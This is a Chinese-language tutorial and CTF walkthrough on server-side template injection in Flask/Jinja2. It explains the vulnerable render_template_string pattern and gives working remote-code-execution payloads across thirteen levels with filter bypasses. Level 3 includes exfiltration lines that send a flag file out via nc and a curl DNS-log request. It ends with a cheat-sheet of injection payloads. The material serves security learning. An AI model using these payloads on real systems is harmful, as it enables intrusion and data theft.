从Flask入门SSTI

文章目录

  • flask基本知识
    • 字符串形式返回
    • render_template
    • render_template_string
  • SSTI
    • 攻击链构造
  • 靶场通关记录
    • level1(无WAF)
      • 基类 -- 子类 -- bulitins链
      • 内置对象 -- 全局命名空间 -- builtins链
    • level2(bl['{ {'])
    • level3(Blind)
    • level4(bl['[', ']'])
      • WarningMessage利用链
      • _wrap_close利用链
    • level5(bl['\'', '"'])
    • level6(bl['_'])
    • level7(bl['.'])
    • level8(过滤常见函数关键字)
    • level9(过滤数字)
    • level10(config)
    • level11
    • level12
    • level13
  • 构造总结

flask基本知识

flask采用装饰器来指定路由,默认的模板渲染引擎为Jinja2。其中模板的三种主要语法为

  • { { … }}:装载一个变量,渲染模板的时候,可以传入变量名和变量值模板会自动替换变量为传入的变量值
  • {% … %}:装载一个控制语句
  • {# … #}:装载一个注释

字符串形式返回

下面这段代码中/study指定了127.0.0.1:5000/study的请求由study视图函数处理,路由中可以自己添加规则/study/那么访问/study/kit时name在服务端就会被赋值为kit。返回内容可以选择直接返回一个字符串

@app.route('/study/')
def study(name):
    return "Hello %s" % name

从Flask入门SSTI_第1张图片

render_template

除了直接返回字符串还可以通过render_template函数指定一个模板内容进行渲染返回

templates:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>study</title>
</head>
<body>
    {
     {
      data }}
</body>
</html>

@app.route('/study')
def study():
    return render_template("study.html", data="Hello World")

而函数返回了study.html的内容。由于模板中有{ { data }},且返回函数中指定了data为Hello World所以最后返回的结果为
从Flask入门SSTI_第2张图片

render_template_string

除了上述两个返回的形式以外还有一个返回函数为render_template_stringrender_template不同之处在于该函数传入一个字符串而不是一个模板文件,这个函数也是与SSTI漏洞息息相关的一个函数,下面用两种写法来看一下渲染的不同。

@app.route('/xss/')
def xsstese(payload):
    # 1.字符串中插入用户输入的内容
    html = "

%s

"
% payload return render_template_string(html) # 2.利用函数来插入用户输入的内容 html = "

{ { data }}

"
return render_template_string(html, data=payload)

第一种输入XSS payload会弹窗,而第二种不会
第一种返回内容:
从Flask入门SSTI_第3张图片
第二种返回内容:
在这里插入图片描述
可以看出如果采用函数去动态渲染会自动对内容做html实体转义

而如果传入一个模板语法的内容如{ { 49 }},第一种渲染结果为49而第二种为{ { 7*7 }},看到49其实漏洞的产生原因就已经很明确了,服务端采用了render_template_string不安全的返回写法,导致了用户可以传入模板语言从而导致任意代码执行等问题。如传入{ { config }}
从Flask入门SSTI_第4张图片

SSTI

攻击链构造

通过上文对不安全的render_template_string函数的写法已经大概明白了SSTI产生的原因,接下来看下SSTI中如何构造攻击链。
构造攻击链主要可以通过寻找命令执行api文件读取api两个方向进行。
首先了解一下python中常见的魔法函数

__class__  返回类型所属的对象(类)

// 寻找基类的办法
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类

// 找到object后 执行函数的方法
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

下面通过一些内置对象完成这一整条攻击链
(实验环境为python 3.7与python2环境找攻击链略有不同 不过整体思路没有太大差异)

"".__class__  # 获得自身类
"".__class__.__mro__  # 获得基类(, )
"".__class__.__mro__[1].__subclasses__() # 获得大量子类

<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
......

接下来要在这些子类中寻找到全局模块包含os库的目标子类
首先解释下如何获得全局命名空间的内容

if __name__ == '__main__':
    def hello():
        import os
        os.system("dir")

    a = "全局变量a"

    class TestC:
        def __init__(self):
            print("创建了Test类")

        def testfunction(self):
            print("类内置的函数")

    os.system("echo hello world")

看这个例子,分别定义了一个类,一个函数,和一个变量,最后执行os库中的system函数,很容易可以看出这样执行会爆出错误,因为os是在hello函数的局部作用域中引入的,全局作用域中是无法直接执行的,那么我们的问题是如何通过testC这个类来执行hello函数呢

global_dic = TestC.__init__.__globals__
for key in list(global_dic):
    print(key)

__name__
__doc__
__package__
__loader__
__spec__
__annotations__
__builtins__
__file__
__cached__
hello
a
TestC
global_dic

可以看到除了加载器自动加载的模块外还有变量a 函数hello等

global_dic = TestC.__init__.__globals__['hello']() 

通过调取global命名空间的hello函数即可完成调用os.system('dir')的目的

接下来继续看刚才拿到的子类,我们可以通过遍历subclass.__init__.__globals__中的模块来寻找含有os模块的子类。

object_subclass = "".__class__.__mro__[1].__subclasses__()
for i in range(len(object_subclass)):
    try:
        global_dic = object_subclass[i].__init__.__globals__
        for key in list(global_dic):
            if "os" == key or "_os" == key:
                print("index : {0}  subclassName : {1} key : {2}".format(i, global_dic['__name__'],key))
    except:
        pass

通过上面的脚本可以得到一部分目标子类,最后即可执行os的system函数从而执行系统命令

target_class = subclass[91]
target_class.__init__.__globals__['_os'].system("dir")

连在一起
"".__class__.__mro__[1].__subclasses__()[91].__init__.__globals__['_os'].system("dir")
从Flask入门SSTI_第5张图片
攻击链的构造多种多样还有通过flask本身的内置函数以及对象构造,以及利用内置命名空间__builtins__来构造,接下来通过一个靶场来看下在不同过滤情况下的构造思路。

靶场通关记录

level1(无WAF)

基类 – 子类 – bulitins链

1.首先寻找基类
fuzz后下图的payload都可以找到object基类
从Flask入门SSTI_第6张图片
2.寻找符合条件的子类

{% for sub in "".__class__.__mro__[1].__subclasses__() %}{% print sub.__name__ %}{% endfor %}

在这里插入图片描述
3.利用WarningMessage的__bulitins__执行代码

 {%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

从Flask入门SSTI_第7张图片

内置对象 – 全局命名空间 – builtins链

也可以通过内置对象的全局空间,然后利用__bulitin__os模块执行
从Flask入门SSTI_第8张图片
找到__bulitins__后与上述构造相同
在这里插入图片描述

{
    {url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}

通过config也可以构造这条链
{
    {config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}

以及lipsum函数的攻击链
{
    {lipsum.__globals__['os'].popen('type flag').read()}}

level2(bl[’{ {’])

上面第一种寻找基类再寻找子类的构造方法只用到了{% %},可以直接使用

{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

或者不采用{ {}}来展示数据,使用{% print %}

{% print url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()") %}

level3(Blind)

没有waf,通过vps监听或者dns解析记录可以得到数据
vps监听

{
    {config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag|nc ip').read()")}}

dns记录

{
    {config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('curl http://`cat flag`.dq80ni.dnslog.cn').read()")}}

level4(bl[’[’, ‘]’])

构造中一般利用[]从字典中提取key的值,除了[]外还可以采用__getitem__提取

WarningMessage利用链

{% for sub in ().__class__.__base__.__subclasses__() %}{% if 'Warn' in sub.__name__ %}{% print sub.__init__.__globals__.__getitem__("__builtins__").__getitem__("eval")('__import__("os").popen("type flag").read()') %}{% endif %}{% endfor %}

_wrap_close利用链

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('type flag').read()%}{%endif%}{%endfor%}

level5(bl[’’’, ‘"’])

过滤单双引号意味着无法指定key值,可以采用传入参数的形式来替代要使用的字符串。flask中request对象可以提取出用户传入参数
内置函数url_for

{
    {url_for.__globals__.__getitem__(request.cookies.p1).eval(request.cookies.p2)}}
Cookie:p1=__builtins__;p2=__import__('os').popen('type flag').read()

level6(bl[’_’])

所有的魔术方法都采用attr过滤器+request传值的方式获取

config.__class__.__init__.__globals__.__getitem__("os").popen("type flag").read()

对上面的payload进行变形 以.分割把所有带有_转换为attr过滤器从request中取值

Cookie:class=__class__;init=__init__;globals=__globals__;getitem=__getitem__;

{
    {config|attr(request.cookies.class)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)("os")|attr("popen")("type flag")|attr("read")()}}

level7(bl[’.’])

与上面一关相同把.换为attr过滤器

{
    {config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type flag")|attr("read")()}}

level8(过滤常见函数关键字)

waf: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
采用拼接构造

{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('type flag')["re""ad"]()%}{%endif%}{%endfor%}

如果采用WarningMessage那条链暂时没想到('__import__("os").popen("type flag").read()')怎么替换

level9(过滤数字)

直接用第一关的payload打

 {%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

level10(config)

禁止了内置对象config,同上

 {%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

level11

waf:
[’\’’, ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]
{ {lipsum.__globals__['os'].popen('type flag').read()}}
采用lipsum这个内置函数的攻击链来构造
首先把所有的.替换为attr过滤器

{
    {lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("type flag")|attr("read")()}}

接下来替换所有的双引号
可以通过set设置变量的方法搭配join过滤器

构造的基本知识

1 通过set可以给字符串赋值,通过dict和join可以获得绕过引号获取字符串
{% set r=dict(read=1)|join %}{ {r}}可以将变量r 赋值为 read

2 { {lipsum|string|list}}可以获得一个列表

[’<’, ‘f’, ‘u’, ‘n’, ‘c’, ‘t’, ‘i’, ‘o’, ‘n’, ’ ', ‘g’, ‘e’, ‘n’, ‘e’, ‘r’, ‘a’, ‘t’, ‘e’, ‘’, ‘l’, ‘o’, ‘r’, ‘e’, ‘m’, '’, ‘i’, ‘p’, ‘s’, ‘u’, ‘m’, ’ ', ‘a’, ‘t’, ’ ', ‘0’, ‘x’, ‘0’, ‘0’, ‘0’, ‘0’, ‘0’, ‘1’, ‘A’, ‘F’, ‘D’, ‘D’, ‘9’, ‘9’, ‘2’, ‘A’, ‘6’, ‘8’, ‘>’]

通过pop取出对应下表的值就可以获得需要的字符,例如第十八位可以获得下划线
{ {(lipsum|string|list).pop(18)}} --> _

构造过程

1.替换仅包含字母的字符串
{% set read=dict(read=1)|join%}
{% set popen=dict(popen=1)|join%}
{% set get=dict(get=1)|join%}
{% set os=dict(os=1)|join%}
{
    {lipsum|attr("__globals__")|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
2.构造__globals__
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(18) %}
{% set global=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
{
    {lipsum|attr(global)|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
3.构造命令
{% set type=dict(type=1)|join %}
{% set flag=dict(flag=1)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9) %}
{% set cmd=(type,space,flag)|join%}
最终payload
{
    {lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}

从Flask入门SSTI_第9张图片

level12

waf:
bl[’_’, ‘.’, ‘0-9’, ‘\’, ‘’’, ‘"’, ‘[’, ‘]’]

比上一关多过滤了数字
可以通过index函数去从列表中获得指定字符串的下标,从而获得数字
从上关的payload可以看出来需要9和18两个数字,来获得下划线和空格

1.获得数字 3 和 2
{% set index=dict(index=a)|join %}
// n下标为3 u下标为2
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
2.获得下划线和空格
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
3.最终的payload
{% set read=dict(read=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set os=dict(os=a)|join%}
{% set pop=dict(pop=a)|join %}
{% set index=dict(index=a)|join %}
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set global=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set type=dict(type=a)|join %}
{% set flag=dict(flag=a)|join %}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
{%set cmd=(type,space,flag)|join%}
{
    {lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}

level13

waf
bl[’_’, ‘.’, ‘\’, ‘’’, ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’]

过滤了几个关键字
与level12用相同的payload

构造总结

找基类的常见payload:

1.通过内置对象
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
2.通过flask
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]

找可以利用的子类

python3 一些利用类
index : 75  subclassName : _ModuleLock  key : __builtins__
index : 76  subclassName : _DummyModuleLock  key : __builtins__
index : 77  subclassName : _ModuleLockManager  key : __builtins__
index : 78  subclassName : _installed_safely  key : __builtins__
index : 79  subclassName : ModuleSpec  key : __builtins__
index : 91  subclassName : FileLoader  key : __builtins__
index : 91  subclassName : FileLoader  key : _os
index : 92  subclassName : _NamespacePath  key : __builtins__
index : 92  subclassName : _NamespacePath  key : _os
index : 93  subclassName : _NamespaceLoader  key : __builtins__
index : 93  subclassName : _NamespaceLoader  key : _os
index : 95  subclassName : FileFinder  key : __builtins__
index : 95  subclassName : FileFinder  key : _os
index : 103  subclassName : IncrementalEncoder  key : __builtins__
index : 104  subclassName : IncrementalDecoder  key : __builtins__
index : 105  subclassName : StreamReaderWriter  key : __builtins__
index : 106  subclassName : StreamRecoder  key : __builtins__
index : 128  subclassName : _wrap_close  key : __builtins__
index : 129  subclassName : Quitter  key : __builtins__
index : 130  subclassName : _Printer  key : __builtins__
index : 137  subclassName : DynamicClassAttribute  key : __builtins__
index : 138  subclassName : _GeneratorWrapper  key : __builtins__
index : 139  subclassName : WarningMessage  key : __builtins__
index : 140  subclassName : catch_warnings  key : __builtins__
index : 167  subclassName : Repr  key : __builtins__
index : 174  subclassName : partialmethod  key : __builtins__
index : 176  subclassName : _GeneratorContextManagerBase  key : __builtins__
index : 177  subclassName : _BaseExitStack  key : __builtins__

Process finished with exit code 0


python2
index : 59  subclassName : WarningMessage  key : __builtins__
index : 60  subclassName : catch_warnings  key : __builtins__
index : 61  subclassName : _IterationGuard  key : __builtins__
index : 62  subclassName : WeakSet  key : __builtins__
index : 72  subclassName : _Printer  key : __builtins__
index : 72  subclassName : _Printer  key : os
index : 77  subclassName : Quitter  key : __builtins__
index : 77  subclassName : Quitter  key : os
index : 78  subclassName : IncrementalEncoder  key : __builtins__
index : 79  subclassName : IncrementalDecoder  key : __builtins__

找子类模板语句

{% for sub in "".__class__.__mro__[1].__subclasses__() %}{% print sub.__name__ %}{% endfor %}

找指定子类模板语句

{% for sub in ().__class__.__base__.__subclasses__() %}{% if 'Warn' in sub.__name__ %}{% print sub.__name__ %}{% endif %}{% endfor %}

两种命令执行

# os类型子类
target_class.__init__.__globals__['_os'].system("dir")
# __builtins__类型子类
target_class.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()

命令执行payload:
{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('type flag').read()%}{%endif%}{%endfor%}

内置对象的payload
config.__class__.__init__.__globals__.__getitem__("os").popen("type flag").read()

{ {url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}

{ {lipsum.__globals__['os'].popen('type flag').read()}}

参考文章:
https://www.cnblogs.com/-chenxs/p/11971164.html
Github SSTI靶场 wp

你可能感兴趣的:(Web安全)